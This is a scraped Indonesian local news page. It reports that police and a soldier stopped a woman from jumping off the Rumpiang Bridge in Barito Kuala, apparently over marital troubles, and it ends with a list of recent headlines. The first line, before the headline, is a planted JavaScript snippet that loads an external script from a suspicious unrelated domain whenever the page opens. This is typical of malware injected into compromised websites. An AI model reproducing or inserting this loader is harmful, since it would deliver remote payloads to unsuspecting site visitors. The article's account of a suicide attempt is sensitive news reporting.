(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

YAS Mau Loncat di Jembatan Rumpiang, Suaminya Ternyata Ada di Atas Motor


KANALKALIMANTAN.COM, MARABAHAN – Heboh seorang perempuan yang diduga mau terjun dari atas Jembatan Rumpiang, Kabupaten Barito Kuala, berhasil digagalkan seorang petugas kepolisian dan anggota TNI.

Perempuan tersebut terlihat duduk di sisi luar jembatan dengan kaki menjulur ke bawah sungai. Belakangan diketahui, perempuan beraksi nekat itu diketahui adalah YAS.

YAS berhasil digagalkan loncat dari atas Jembatan Rumpiang oleh anggota Polsek Bakumpai Aipda Mardandi, anggota Bhabinkamtibnas bersama anggota Koramil Cerbon Heriyanto.

Saat dikonfirmasi Kanalkalimantan.com, Bhabinkamtibnas Aipda Mardandi mengatakan, perempuan yang di dalam rekaman video mengenakan jilbab warna biru tersebut adalah YAS, kelahiran Jawa Timur, tinggal di Kota Marabahan, Kabupaten Barito Kuala (Batola).

 

“Ya, diduga akibat masalah rumah tangga, YAS mau mengakhiri hidupnya,” ucap Aipda Mardandi kepada Kanalkalimantan.com, Minggu (14/2/2021) petang.

Dia menjelaskan, YAS pada saat itu ternyata tidak sedang sendirian. YAS bersama suaminya yang sedang duduk menunggu di atas sepeda motor.

“Sebenarnya YAS tidak sendirian di jembatan saat itu, suami DF duduk menunggu di sepeda motor. Ketika saya tanya, jawaban DF juga tidak menyambung,” beber Mardandi.

“Ketika saya tanya suaminya tidak nyambung, takut terjadi hal yang tidak diinginkan dan kebetulan waktu itu cuma saya sendiri, saya lanjut mendatangi istrinya yang duduk di luar batas Jembatan Rumpiang dalam posisi yang sangat berbahaya,” bebernya.

YAS diantar ke rumah kerabat setelah sempat berada di bagian luar Jembatan Rumpiang Batola. Foto: ist

Masih dalam keterangan Mardandi, polisi ini sempat memberi nasehat, sambil menunggu bantuan datang. “Kalau saya paksa, takutnya suaminya sewaktu-waktu memberikan nasehat malah didorong. Karena kalau saya lihat psikologi dari wajah suaminya sedang banyak pikiran dan istrinya menangis tanpa berhenti,” beber Mardandi.

Pihak kepolisian mengaku kesulitan meminta keterangan perihal kenapa duduk di pinggir bagian luar Jembatan Rumpiang kepada YAS, karena terus-menerus menangis.

Diketahui mereka memiliki dua anak masing masing berusia 7 dan 2 tahun, wanita tersebut bersama suaminya sudah kami antar ke rumah kerabatnya. (kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

12 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

16 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

18 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

19 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

20 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

22 jam ago

This website uses cookies.